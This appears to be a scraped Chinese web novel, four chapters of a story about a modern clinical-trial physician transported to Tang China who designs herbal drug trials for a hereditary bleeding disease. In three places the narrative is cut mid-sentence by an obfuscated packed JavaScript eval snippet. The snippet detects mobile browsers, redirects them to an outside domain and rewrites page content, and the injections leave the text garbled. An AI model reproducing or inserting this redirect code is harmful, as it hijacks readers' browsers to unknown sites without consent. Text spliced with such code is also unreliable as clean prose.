《穿回大唐做临研》 1. 重回大唐 一阵突如其来的疼痛袭来,陆知晓的世界天旋地转仿佛正在坠入深渊。她四周的呼叫声越来越远,直至消失,万籁俱寂。 她缓缓睁开眼,发现这个地方暗得可怕。她模模糊糊地记得,在晕过去之前,她被一个因为试验结束后意外死亡而来医院闹事的受试者家属用冰冻过的水瓶砸到了头。 陆知晓下意识地探了一下自己的颈动脉,沉稳有力的跳动表明自己没有死。 那这又是哪里?陆知晓把她科室同事的名字全都喊了一遍,没有一个人回应她,于是她只能摸索着这片粗粝的泥地匍匐探索。 突然,一个巨大的声响在她前方炸开,紧接着传来的是一道苍老的声音。 “阿麓,今晚是咱们的洞房花烛夜,你这是想跑去哪儿啊?” 他是在叫我吗?他是谁? 一阵叮铃桄榔的声响后亮光突然填满屋子,布满皱纹的脸在黑夜中显现出来,一双眼睛浑浊、精明、又充满欲望,比这无知的夜更可怖。 老头向她扑过来像条发了疯的野狗,手脚都被限制住的陆知晓只能张口咬住老头的耳朵,狠得几乎要整个咬下来。 老头吃痛,捂着自己流血的右耳怒吼:“冯麓你个贱蹄子!想谋杀亲夫么!”他左手继续脱着衣服,而右手狠狠掐住陆知晓的脖子,令她一点喘不上气。 陆知晓无法敌过体力的悬殊,她的大脑开始缺氧,四肢开始无力,血腥气弥漫在她口腔与鼻腔,恍惚间好像还看到了去世多年的太奶。 还有很多病人很多项目在等她,不能就这样死了。 陆知晓咬着牙拼尽最后的力气踢向老头的□□,再趁势用拳头狠狠砸向老头的太阳穴和风池穴,毫不手软。 果然,老头眼睛猛地一瞪就直直倒下。 陆知晓擦了擦嘴角的血,颤颤巍巍地站起,扶着墙走向透入一丝月光的门口。 就在这时,她无意间瞥到了屋子里唯一一面铜镜。镜子里竟是一个从来没有见过的人。 “这是谁?”陆知晓震惊地摸着自己这张美丽却陌生的脸,“做梦?灵魂互换?还是我已经转世投胎了?” 纵然陆知晓对此异象仍然百思不得其解,但对于当下的她而言,逃生远比研究量子力学更重要,于是她脱下喜服连夜逃离这个噩梦般的山村。 陆知晓猜测这副身体的主人应该是营养不良,身体很明显赶不上自己的精神,以至于一路上摔了好几个跤。 陆知晓在身上翻找可以包扎的物品,意外翻出一条带“麓”字的手帕。 “冯麓……”她回想起了老头方才对自己的称呼。她心中反复默念记住这个名字,根本来不及细想就带着新身份继续上路。 冯麓生怕有人追上来一刻都不敢停歇,就这样一直跑一直跑,终于在小路的尽头看见了村落。 一行人正朝她的方向走来,她的意志再也无法强撑这具已经到达极限的身体,连“救救我”三个字都没能说出就直直倒地。 等她再次醒来的时候自己已经换了个地方躺着,而先闻其声的是一个陌生男人和另一个陌生的老头。 “先生,这姑娘除了脖子上的掐痕尚未消除,其余已并无大碍。” “那就好。” 冯麓面如死灰地又把眼睛重新闭上了。这地方老龄化也太严重了吧?她内心无助地呐喊着。 老头结束对话,缓缓走到她床边,语气里还带着淡淡的揶揄:“小姑娘,别装睡了。” 被拆穿的冯麓只能睁开眼睛缓缓坐起来,视死如归地垂眸说道:“多谢各位恩人救我一命,需要我如何回报直说便可。” “人命至重,有贵千金,一方济之,德逾于此[1]。治病救人乃医者使命,姑娘无需回报。”冯麓听到这些话不由得抬起头,面前的老头正慈眉善目地笑着,浑身散发着药草的气味。 这老头居然是个医师?等等,这个医师好像在哪儿见过? 冯麓苦思冥想以后终于想到了那个名字,睁大眼睛不可置信地问:“是药王吗?您是孙药王?” “‘药王’这个名号老朽可不敢当,不过老朽的确姓孙。”药王浅浅微笑道。 “像,太像了。”冯麓目不转睛地盯着药王,低声感慨道。 药王这个脸真是跟课本画像和药学院楼下的雕像一模一样,她上学的时候每天都要看上好几遍,怎么可能认不出来。 “先生,我非常非常崇拜您,我的硕士论文课题就是改良您的‘泽兰汤’[1]并在临床上验证效果……”冯麓双手握住药王的手掌,语无伦次地说了一大串他们根本听不懂的话。 这判若两人的模样属实把孙药王吓了一跳,他拍了拍冯麓的手道:“姑娘,看你这副生龙活虎的模样,想是精气神已恢复了大半,你家人应该很担忧你的安危,还是快快回家吧。” 冯麓慢慢冷静下来,环视这古色古香的陈设和面前这些比她大一千多岁的人。 她大概是穿越了,穿越到了这个拥有孙药王的大唐盛世。她现在已经不是三甲医院的副主任医师,而是个被娘家人高价卖掉又谋杀亲夫的罪人。 冯麓不可能再回去,但又人生地不熟,无奈之下只能把自己经历过的惊险一夜半真半假地告诉了他们。 她用讨好的语气和泫然欲泣的眼神乞求道:“先生,我已无处可去,若您愿意收留,以后这里的杂活全都可以交给我。” 药王思考了半晌,考虑到女子中极少有懂穴位的人,最后同意收她当学徒,作为给女病患施针推拿的助手。 给药王当学徒的这些日子里,冯麓每日都要从天黑干到天黑,虽累得不行却前所未有地踏实。半年后的某天,冯麓前往长安帮即将闭关的药王采购名贵药材。 冯麓拿着药王给的单子和信物去了他指定的药铺,高高的柜台后钻出来一个矮矮的男掌柜抬头疑惑地问:“今儿怎的换了个姑娘来?你是孙道士的什么人?弟子?” 冯麓浅笑着回答:“算是吧。” 等掌柜把药材包好拿来,冯麓顺手翻看了一下药材,皱着眉头说:“掌柜,麻烦您把这些野山参换一些好的来,这几根芦头短粗,而且铁线纹太浅了。这些西红花气味很淡,而且有霉味儿,也得麻烦掌柜换一些。” 掌柜面色尴尬,他没想到这个看似涉世未深的小姑娘居然可以看穿他的小把戏,只好重新挑了上好的药材。 冯麓出了药铺后走在朱雀街上,好奇地四处张望着这个一千多年前的著名大都市。 突然,不远处传来一阵惊呼,紧接着传来哭喊交杂的喧哗声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16513160|186174||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。冯麓心里冒出不祥的预感,立即小跑上前。 随从模样的人跪在一个男子身边,流着泪向一旁蹲下的妇人禀告:“二公子已经脉息全无了,请夫人节哀。” “我的儿啊你怎么就没了——” 冯麓见势根本来不及做多余的反应,下意识扒开人群就冲到公子身边,一边探着颈动脉一边问:“他晕倒多久了?”“刚晕倒没多久。” 她快速把公子衣服全部解开,露出紧实裸露的胸膛,夫人惊慌失措地高喊:“你是何人?光天化日之下这是在做什么……” “要是想救你儿子就安静待着!”冯麓厉色喊道,然后找到两□□中点,伸直手臂开始垂直按压,嘴里还念念有词。 一个循环后,冯麓一手按压额头,一手抬起下颌,撕下自己的棉麻手帕盖在二公子嘴上,毫不迟疑地就开始人工呼吸,完全没有注意到周围一圈人那活见鬼的神情。 循环往复,即使冯麓的手臂已经酸麻到胀痛,也都没有停下手里的动作。直至二公子面色红润、渐渐苏醒,她才大汗淋漓地收回手瘫坐在一旁,欣慰地看着母子相拥而泣。 “姑娘真乃神仙下凡,竟有让人起死回生之神力,”夫人从钱袋子里掏出一枚金锭递给冯麓,“多谢姑娘救我儿一命,这点心意还请收下。” 冯麓摇摇晃晃地站起身,笑着摆摆手说道:“我不是神仙,我只是医者,治病救人乃医者使命,夫人无需回报。” 当了活雷锋的冯麓乐呵呵地一头扎进西市,好不容易出来一趟,说什么也得逛上一圈再回去。不过,正当她对小摊上的糖人爱不释手的时候,有个全身黑甲的陌生男子已经悄无声息地站在了她身边。 这么魁梧的男人也喜欢糖人?冯麓没当回事,付完钱抬脚便走,却被那人伸手拦了下来。 “姑娘,陛下请您入宫一趟。” “陛下?找我?我只是一介小医师。”冯麓指着自己反问确认。 对方却斩钉截铁地告诉她:“陛下请的就是医师。” 面圣是一件大事。 宫里的嬷嬷不仅给冯麓从头到脚地沐浴了一遍,还把拿了一件熏了一天香的衣服给她换上。冯麓低头嗅了嗅自己的衣领和衣袖,问:“嬷嬷,我身上很臭吗?” 嬷嬷露出标准的微笑解释道:“陛下喜欢干净芬芳的味道,否则会头疾发作。” 等所有准备都做好时已经过去了一个多时辰,冯麓和两名侍女一同踏着黄昏暮色前往紫宸殿。 “翠儿,这位美人儿是谁?怎么宫中从来没有见过?” “是陛下新召的医师。” 她们自以为够小声,却不知此时秋风正起,她们二人恰好在上风向,议论声一五一十全传入了当事人冯麓的耳朵里。 “医师?从来没听过有女子学习医术,会不会是骗子?” “我也觉着不像医师,应是想靠别的法子来求得陛下宠爱的花瓶吧……” 这样的话语陆知晓几乎是从小听到大,女生没有男生聪明,女生天生学不好理科,女生学医比男生困难云云。 陆知晓从来不信这些话。她偏要当女医师,还要当得比男人都好。 注释及参考文献: [1]《备急千金要方》孙思邈(唐)。 2. 李氏诅咒 殿门被两侧的公公推开,隐约可以看到一个人正坐在帷幕后。"民女参见陛下。"冯麓行礼道。 站在雷厉风行、杀伐果断的唐乾宗李麒面前与铡刀悬于头上没什么两样,这比她三十五年的人生中任何一场考试都要让人肾上腺素飙升。 “平身。”李麒说道。 病得不轻啊,冯麓默默在心里判断。李麒的内里已经像个空壳了,以致于在安静如此的大殿中都几乎听不见他的声音。 “多大年纪了?”李麒问。 冯麓低垂着眼回答道:“回陛下,民女今年十七。” “今日在朱雀街救了温二的就是你?” “回陛下,民女今日的确诊治了一位公子。”冯麓心里开始打鼓,她救的那个人的病情不会加重了吧?难道皇帝现在是来找她兴师问罪的? “太好了。”李麒撑起上半身,语气里带了些许激动,“朕终于找到可以将人起死回生的神医了。” “嗯?”冯麓还没能细细分析李麒的那句话,高公公就已经宣布让她立即上前去为皇帝看诊。 李麒斜斜地靠在金色的龙椅上,看上去虚弱无比。随着二人间的距离变近,李麒那隐藏在珠帘下的面容也清晰地显现在冯麓眼前。 那是一张足以冠绝天下的脸,与历史书上的画像简直大相径庭。而美中不足的是,那张脸太过苍白,而且有数道红色的条纹从李麒的额头和面颊延伸出来,直到衣领深处。 若血纹是在别人脸上,则难免会让人想到丑陋可怖的红纹九头蛇,但在李麒的脸上,只会让人联想到艳丽无比的曼珠沙华。 冯麓一边把脉一边询问:“陛下是否有胸闷气喘?”李麒有气无力地回答:“有。” “是否有食欲不振?”“稍许。” “是否有软弱乏力?”“时常。” “陛下是否有四肢发冷?”“偶尔。” 冯麓收回手,说:“陛下,请伸舌。” 李麒撩开珠帘,伸出舌头。冯麓仔细察看,发现他舌质淡却舌尖红,还有好几个深紫色的瘀点。 冯麓低头从腰带处掏出一块铜镜碎片,找到烛光反射的角度后照在李麒的口腔和鼻腔。她心想果然,李麒的口腔黏膜和鼻腔内部黏膜密密麻麻的全是出血点。 “难道是ITP[1]?” 冯麓皱起眉头低声念叨着旁人听不懂的语言,而李麒觉得这个少女医师颇有意思,问诊方式居然如此与众不同。 “陛下舌质红、苔白、脉细弱,脾气亏虚,乃气不摄血证。”冯麓跪在李麒身边汇报道[2][3]。 “‘气不摄血’?朕还是第一次听闻这个说法。你叫什么名字?” “民女冯麓。”冯麓不卑不亢地垂眸看着地面,“二马之冯,瞻彼旱麓[4]。” “名字不错。”李麒浅笑,云淡风轻地问,“依你来看,朕还有的治吗?” 听到这句话的那瞬间,冯麓感觉自己血液都要倒流了。 这个送命题还有第二个答案吗?当皇帝问自己的病情严不严重,难道要说“陛下你大限将至了”?这不是嫌命太长吗? 冯麓垂眸回答:“陛下乃真龙天子,万寿无疆,自然有的治。” 李麒长长地呼出一口气,问冯麓:“冯小医师,你有听闻过‘李氏诅咒’吗?” 冯麓当然没有听说过,历史书上不会收录这种野史,药王和师兄也向来不谈论宫闱秘事。 “先帝有违礼法夺得皇位的事儿,你总该知晓吧?” 冯麓心里大为震惊,李麒提到的是“玄武门之变”吗?这是可以说的吗? 李麒没等到冯麓的答案就自顾自地说下去:“自那时候起,皇室血脉一出生便患有天生顽疾。十岁显现红色斑纹,接着就是头疾发作、无故血流,至多活不过二十五岁便会血崩而亡。此顽疾不限男女、没有病因,并且多年来太医署始终对此束手无策。” “世人皆说,此症乃天命给李氏皇族降下的诅咒,为的就是让皇族血脉深深记住残害手足的罪孽,并用惨死的代价为此赎罪。”李麒说到这里,语气变得哀伤无比。 而此时的冯麓没办法共情,因为她正根据李麒的话飞速思考着这个披着家族诅咒的神秘家族病究竟是什么。她串联起所有的症状和体征,判断这个纠缠李氏的家族病可能不是ITP,而是罕见的HHT[5][6]。 李麒用手将冯麓的下巴抬起,居高临下地看着她的双眼,“如今朕离二十五岁已只剩两年,若你能成功为朕解咒,朕便可以坐稳这大唐江山,你也可以拥有后半辈子的荣华富贵。” “但冯小医师,你若是解咒失败——” 李麒此时的眼神像一把尖刀一样锐利,低沉的声音一扫刚刚的哀伤,冷漠无情得像来自地狱一般。 “那就与朕一起去见阎王吧。” 冯麓听到这句话以后,恨不得立即开响反帝反封建的第一枪。 她才刚从上一个医闹中逃脱出来,就又碰上了更重量级的医闹,老天爷冲业绩也不能逮着同一个人薅啊。 冯麓别无选择,只能硬着头皮上了。 她把过了宫里所有皇族的脉象,无一例外全是“气不摄血证”,以及在不同部位拥有或多或少的血色纹路。 这个病跟HHT很像,又有点区别,所以冯麓姑且将这个顽疾命名为“血纹症”。她开始不眠不休地在密阁翻阅医书,但是成果寥寥,前人总结出的方剂都不适用于血纹症这个诡异复杂的证候。 现如今距离“玄武门之变”已经过了百年有余,和李氏通婚的人估计已经遍布长安乃至全唐了,若是不早日找到解决之法,因此病症丧命的人会越来越多。 “保持冷静,陆知晓,你可是学了十七年医的人。”冯麓敲了敲自己的脑袋,强迫自己打起精神继续思考。 想到这里,冯麓突然福至心灵似的,按照记忆把脑海里那个方剂赶紧写下,生怕突然忘记了。 “还好,”她垂眸满意地点点头,“书籍只截止到隋唐,但我的记忆不是。” 这个方剂看上去是最可能调和血纹症的配伍方法了,但冯麓对此并没有把握,新病对新方,一旦出了差错那就是给李麒殉葬的下场。 此时,高公公来密阁询问冯麓的进度,她决定把自己心里的计划说出来试一试。 早朝未散,紫宸殿正站满了大臣,几十双眼睛刹那间齐齐回望将冯麓从头到脚扫了个遍,让她差点连门都没敢踏进去。 “冯小医师,你已经找到解咒的药方了?”此话一出,冯麓身后冒出一阵交头接耳的议论声。 冯麓咽了口口水,稳定心神后回答:“秉陛下,暂且 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16513161|186174||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 找到了。” “‘暂且’是何意?” “陛下,此方乃民女根据血纹症的特征配伍而成的新方,在呈上御用之前,民女请求进行民间方剂尝验。”冯麓跪下,一字一句地说着自己的计划。 “那将药让尚药局的监官尝验便可。”李麒在帷幕后坐起身来说道。 “若一方新药只拿给监官尝验却不在血纹症病患身上验明,那民女如何得知此药能不能给陛下解咒,又会不会导致陛下病情加重?” “依你所言,朕还需要等多久?” 冯麓回答:“回陛下,至少一年半。” 此话一落,李麒陷入了沉默。一旁的中书令苏炀看着这情形,提高了音量开口:“陛下,微臣认为此女不可信。” 苏炀一石激起千层浪,殿中不少官员都持反对意见,甚至上升到了对冯麓的人身攻击。 “陛下,此前呈上御药的确需要常验,但从未需要如此长的时间,这让微臣不得不怀疑这江湖郎中的居心啊!”中书侍郎谢磐迎合苏炀说道。 冯麓面对一群比她大了不知道几轮岁数的陌生男人,不仅没有退缩反而话语越发坚定:“这位大人,民女只有不遗余力救治陛下才能求得一命,有何动机害陛下?” 苏炀再次接过话头,继续道:“陛下,袁太医行医三十年,微臣认为他相对更稳妥些。至于这个江湖郎中嘛,廷杖打发即可,各位大人应该没有异议吧?” “苏大人,下官有异议。”这是唯一一道与群臣相对的话语声,跪在地上的冯麓跟殿中其他人都齐齐转身看向声音的源头。 那男子穿着一袭浅绯色官袍站在人群中,丝毫不畏惧四周包围过来的眼神,淡淡地说道:“若太医署有法可解,也不至于让陛下承受多年痛苦,让袁太医诊治无非是顺从天命罢了。如今冯小医师是唯一可以替陛下解咒之人,苏大人您如此阻拦,是不希望陛下解除诅咒吗?” “郑安沅,你胡诌什么!” “众卿肃静,此事朕已有决断。”始终沉默不语的李麒终于出言制止了这场争执,“自今日起,冯麓任‘验方使’,负责新方试验一切事务,一年半后必须呈上御药。” “高富,赐冯麓天金鱼符,见此鱼符如见朕本人。”他的声音变得更为虚弱,但话语的气势却丝毫不减。 居然真的答应了。冯麓默默地用余光看着李麒的背影,思绪万千。 现在,她和皇帝已经不单纯是医闹双方的关系,他们还有一个共同的敌人,那就是这个‘李氏诅咒’。 注释及参考文献: [1]ITP:原发性血小板减少性紫癜。 [2]勾月,□□,朱叶.黄春江从脾论治遗传性毛细血管扩张症所致鼻出血经验介绍[J].山西中医,2025,41(5):9-10. [3]王永,黄志惠,孙海清.圣愈汤加味治疗原发免疫性血小板减少症气不摄血证疗效观察[J].西部中医药.2025,38(6):137-140. [4]《大雅·文王之什·旱麓》佚名。 [5]HHT:遗传性出血性毛细血管扩张症。 [6]王向东,范愈燕,伯铭羽.遗传性出血性毛细血管扩张症的诊断[J].中国耳鼻咽喉头颈外科.2013.20(7):360-362. 3. 蒲城堂主 拿到国家局准许试验批件后,冯麓熬了几个大夜把试验方案设计完成,她在桌案上做着眼保健操一边捋着自己的计划。如果要在期限内交付新方,那现在就必须在一个月内找十五个监官完成一期试验[1]。 冯麓对于官场并不熟悉,庭上公开支持她的尚药局奉御是她唯一有交集的官员,她只能厚着脸皮去求他帮忙。 “冯大人,你如今是陛下钦点的验方使,交代下来便可,不必如此客气。”郑安沅笑着说,利落地交代手下按新方熬制药液,然后分发给尚药局的监官们进行第一步尝验。 冯麓仔细将监官的服药过程全部记录在了她设计的“医案格”[2]里,除了最基本的姓名、籍贯、年龄和性别外,还包括用药前证候、用药时间、用药剂量以及尝验后的七日内用过的其他治疗。 顺利通过一期试验后,冯麓就要准备开启二期试验[3]了,这需要去长安和附近的地方寻找血纹症患者服用新方,据此定下多少剂量最为合适。 冯麓从吏部侍郎那边借来六名即将铨选的选人[4],担任这次试验的临床协调员[5]。 “出发前,请每位选人把试验方案誊抄五份,让方案像铁烙般印在各位的脑海中,并且没有任何理由违背方案、更改方案。 谨记你们只是选人,记录验方之人不能诊疗,即使精通医术也不行。若被我发现选人有代替医师问诊的行为,杖责并罚俸。” 冯麓把人员安排张贴在绫绮殿的外墙上,“这次试验一共是五个队伍,两人留在长安,其余四人分别去往雍州、岐州、同州和华州。” 选人们陆续出发,冯麓也终于可以喘口气。不过她前脚刚把采买的药材和报平安的书信寄回山谷,后脚就收到了驻地选人的飞鸽传书。 “冯大人,蒲城这边情形有点难办,恐怕需要您亲自前来。” 驻地蒲城的选人杨凛早早就在城门口等候,刚上马车就与冯麓滔滔不绝地吐槽起来。 蒲城有一个医馆称仁医堂,堂主白理是华州颇有盛名的医师。而主要矛盾就在于这个堂主,他强烈反对验方工作,还命令手下所有医师全都拒绝合作。 “县令能否帮忙劝说一下?” “没用的,他谁的话都不听。”杨凛委委屈屈地说道,“冯大人,您要是再晚来半日,也许小的已经被仁医堂的人丢到洛水里了!” “大人,咱要不换个地儿吧?就白堂主那个脾气,蒲城实在没法开展验方呀。” “不行,”冯麓斩钉截铁地否决了这个提议,“蒲城是大唐陵邑[6],这里的病患比其他几个地方的病患加起来还要多,不能放弃。” “既然您是神医,不可以自己给病患把脉吗?” “不行,”冯麓扭头正色警告道,“你是记录者,我是督查者,参与验方之人怎可自我记录与督查?这不是很容易作假吗?” 杨凛低头应道:“是,小的记住了。” 冯麓苦思着皱起眉头,连行囊都没放下就让车夫直接改道去仁医堂,她必须亲自与白堂主商议此事。 仁医堂门口,护院瞥了一眼冯麓,冷哼一声:“堂主说了,为了验方之事而来的人谁也不见,大人请回吧。” 冯麓见势,给护院手里塞了一枚银锭笑得颇为温柔:“这位大哥,我这次前来有要事与堂主大人协商,大哥可否通融一下?” 伸手不打笑脸人,而且世界上没有用钱解决不了的事情,如果有,就多给点。果然,护院还是收下两枚银锭,给冯麓开了门。 仁医堂不愧是华州第一大医馆,馆里只有两名医师坐诊却有十几名病患在排队,药房里抓药煎药的杂役也忙得团团转。 “姑娘,请问你是需要看诊吗?”一个与冯麓年纪相仿的小医师围上来,眼神里充满期待。 冯麓向他展示自己的鱼符,然后说:“我是陛下钦点的验方使,能否将我引见于堂主?” “原来只是来找堂主的。”对方没有一丝陛下使者的胆怯,只有自己没能看诊的失落。他指着正蹲在草药田旁观察长势的男子,向冯麓说道:“喏,那就是我们堂主了。” 白理身穿一身麻布交领青灰色长衫,袖口和鞋子全是侍弄花草沾上的泥巴,看上去颇为朴实无华,也并没有因为自己名震四方就将细碎的活假手于人。 “白堂主您好,我是陛下指派来的验方使,冯麓。” 白理转过头,微眯了眼睛上下打量了一下冯麓。他挑眉道:“居然是你。” “什么?” “一月前用些奇幻异术在朱雀街救了人的,是你吧?”白理把手掌上的泥拍了拍,站起来直面冯麓问道。冯麓这时才知,原来那一日白理也在。 他质问道:“验方使,你真的学过医术吗?如果你学过医术,那就应该看得出来‘李氏诅咒’已无药可医,你做的一切都是无用功,如今来找百姓帮你尝验药方或许只会令他们死得更快。 如果你根本就没学过医术只会一些旁门左道的话,我就更不会陪你在这儿浪费时间了,蒲城百姓虽身负诅咒,但也不是你拿来向陛下献媚的工具。” 冯麓被白理那咄咄逼人的话气得胸口生疼,不过她为了早日完成新药研发还是重新堆起笑容,“白堂主,污蔑人可得有根据啊,你如何就能肯定,病患们喝了我的方子就会死得更快?若我说,我真做出解咒药方了呢?” 白理面无表情,双手环抱着靠在一旁的樟树上,反问:“验方使倒是说说看,要如何才能解除诅咒?” “要我说,这世上根本就没有诅咒,只有未被定义过的疾病,而这‘李氏诅咒’正是让人气血两虚的家族病症。这样的病症就像蒲城的洛水,只要下游后代的身体里还流着上游祖先的血,那就不可能逃脱这顽疾的纠缠。” “白堂主您也是医师,应该读过张医圣的《金匮要略》吧?” “嗯。”白理冷冷地应了一声。 冯麓仍然维持笑容说道:“那堂主就应该知晓,气血通畅是人健康之本,气与血互为根本。” 白理移开眼神思考了一会儿,点点头让她继续说下去。 “那若是气不足以统摄血呢?”冯麓注视着白理探究的双眼,“一个盈满水的木桶开了一个洞,我们要如何才能在不更换新木桶的前提下让这个桶里的水始终保持在满溢的状态呢?” “设法堵住洞口,并不断加水。”白理若有所思地说。 “堂主您说的没错。” 午后的阳光洒在冯麓的脸上,将她的脸勾勒出一道金色的光弧,“所有患上家族病症的人都是这个破了洞的木桶,木桶则是‘气’,水流则是‘血’。只要我们找到可以堵住缺口不断加水的方法,就可以让病患延年益寿了。” 白理皱眉看着面前对诅咒侃侃而谈的冯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16513162|186174||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 麓,心里五味杂陈。 蒲城有很多受了诅咒的百姓,不管是他还是他师傅,都只能眼睁睁看着他们死在二十五岁而无能为力。 与其说他不相信冯麓可以找到解咒之法,还不如说他不相信连一个少女都可以做到的事,自己的师傅却耗尽一生的时间也没法做到。 白理神色沉重地垂眸问:“你学了多久的医术?” 冯麓眼神飘忽地回答:“半年。” 她为了不节外生枝而隐瞒了自己的真实情况,毕竟她以冯麓的身份学医的确只有半年,她想这应该不算撒谎。 “师从何人?” “孙道士。”但凡学习医术就不可能不认识先生,既然白理不信任自己,那她说出先生的大名应该会更有说服力吧? 谁成想,白理听到这个名字后反而让已经放软的语气重新变得尖锐冰冷:“你说的是出身京兆华原的孙道士?” “是,”冯麓敏锐地察觉到对方情绪不太对劲,小心翼翼地开口,“有什么问题吗?” 问题大了。 白理面色铁青地对不远处忙碌着的杂役喊:“来人,把她和她带的人全给我轰出去。”变脸之快让冯麓根本摸不着头脑。 她慌张地拉住白理的衣袖,拦住他的去路问道:“白堂主这是作何?刚刚咱们不是聊得挺好吗?” “验方使,我真是差点儿就掉入你精心设计的圈套了,孙道士仙逝多年被你拿来当成攀附权贵的垫脚石,你真有违医者之名。”白理似乎被触到了什么逆鳞,连眼神都带着深深的厌恶。 “什么?”冯麓还以为自己理解错了,又不可置信地问了一遍,“孙道士仙逝了?” “五年前坊间就有传言,孙道士意外尝到毒草溘然长逝了。难道你不知晓此事吗?” “先生明明活得好好的,现在还在闭关呢!谁这么缺德给先生造谣传谣啊?”冯麓着急地从怀里小心翼翼地掏出一枚玉牌,“白堂主,我这儿有先生的信物,这样你总相信了吧。” 坊间流传先帝曾经赐给孙道士一枚成色极佳的和田玉牌,不仅光泽如月光泉水般流动,上面还刻着“悬壶济世”的字样。而眼前冯麓手中的这枚玉牌,与传言并无二致。 白理默默抽回那只被冯麓拉着的衣袖,神情颇不自然地问:“那你需要我做什么?” “帮我招募中咒之人来参与尝验,并对他们进行问诊评估。”冯麓真挚地看着白理的双眼,“多谢白堂主的支持,若解药制成,我定重金感谢。” “不必。”白理移开目光重新投入到药田中,他背对着冯麓,用淡如泉水的语气说出无比坚定的话语: “我白理行医从来就不是为了赏金。” [1]一期试验:指现代药物试验中对健康的成年人进行的药物试验,目的是验证药物安全性。 [2]医案格:古代版的“病例报告表”,简称“CRF”。 [3]二期试验:指现代药物试验中对适应症患者进行的药物试验,目的是进一步验证安全性和定下药物剂量。 [4]选人:指通过礼部科举后,已经获得官员资格但没有授予正式官职的候选官员,朝廷会对其进行“铨选”。 [5]临床协调员:指现代药物试验中协助研究者完成药物研究过程的工作人员,简称“CRC”。 [6]陵邑:指皇陵所在地。 4. 验方初探 仁医堂的南亭,冯麓和白理在针对方案进行友好的讨论。 “你说,整个大唐不止在我们这儿开展验方?” 冯麓点头,“长安、雍州、岐州、同州和华州,这是我从密阁案卷中得知的,中咒之人最多最密集的地方。” “人参、黄芪、当归、生地黄、熟地黄、白芍、山药、蒲黄和川芎。很不可思议却又很合适的用药。”白理又仔细看了一行小字,惊讶问道:“你要把药全部煎好,再一口气全送给病患?” 这个做法想想就不可能,但冯麓却一脸无所谓的表情,好似根本没把这个难题当成一件难事儿。 “验方使你不是在开玩笑吧?煎了多日的药汤还能喝吗?若是能喝,那煎好的药汤又要如何贮存分发?” 冯麓轻笑,反而向白理提问:“白堂主,你可知这世间有何食物多年不腐?” “好像没有。肉会臭,菜会蔫,米放久了也会生虫,几乎所有能入口的都会腐烂。” 白理眼神一转,看到了院子里堆放着的空酒罐,灵机一动对着冯麓说:“酒!” “聪明。”此时的冯麓弯了弯眼睛,露出自信的笑容。 “将酒多次加热反复蒸馏,最后将极少量但纯度极高的酒液加入煎好的药汤中,加以用陶瓶分成每次需要服用的剂量,即可解决药汤无法贮存多日的问题了。” 她明明在夸赞自己,可白理却觉得她才是那个真正聪慧之人。 酒是生活中最常见的食物,却被她发现了另一种用途。这样新奇的联想在白理耳朵里几乎像是天书,不仅古书从未记载,师傅也从未提及,但这在冯麓的认知里似乎早已经是司空见惯的模样。 冯麓挑挑眉,用眼神示意白理继续阅读方案,“白堂主,别走神啊,还有更重要的需要讨论呢。” 白理好似被瞥见心事一样,颇不自然地低头去翻阅方案,又提出新的问题:“‘安慰剂’,是何物?” “就是一瓶只有枯草和树皮的水。”冯麓淡淡地解释,“此次验方秉持‘空白对照’[1]的方法,十二个人会被分成三组,一组使用正常用量,一组使用其一半的用量,而剩余的人将不服用解药。” 白理那心里刚萌生的好感迅速被强烈的愤怒迅速填满。 他立即把方案册拍在桌面上,“腾”地站起身,不满道:“验方使你身为医者为何要将病患分成三六九等?而且有些人服不到解药是不是有点太过分了?你给了他们希望,又要亲口告诉他们不论如何努力也还是难逃一死吗?” 冯麓其实也一直在纠结二期和三期的试验该使用“阳性对照”[2]还是“空白对照”。 作为患者肯定希望不论如何都能接受治疗,但是对于研究者而言、对于一个前所未有的病症研究而言,显然使用“空白对照”更合适。 “白堂主,分组是为了观察疗效,这是不得已而为之。若是大家都服药,就根本无法判断解药究竟有没有减缓顽疾进展。 不过堂主可放心,我们会在验方开始前与病患说明此事,只有他们接受分组才能让他们服药。” “那要是他们因为此药病情加重该当如何?”白理好似要把冯麓盯出一个窟窿一般,声音也冷得吓人,“你就是这样尊师重道的?你眼里对生命还有一丝敬畏吗?” “若是他们因我病情加重,我会尽我最大的努力救他们。以我孙氏门徒的身份发誓。” 冯麓也站起来,收起那些讨好大过真诚的笑容,沉稳又无比坚定地说道:“而且,我相信白堂主及手下医师的能力,若你我联手,一定不会让蒲城任何一个人身陷险境。” 白理用眼神持续地探究着面前这个不走寻常路的女子,她从一开始就有着非常人的自信,而奇怪的是,此时此刻她的自信居然来自于他。 冯麓这个女子,有一种可以将人心拿起又放下的能力。 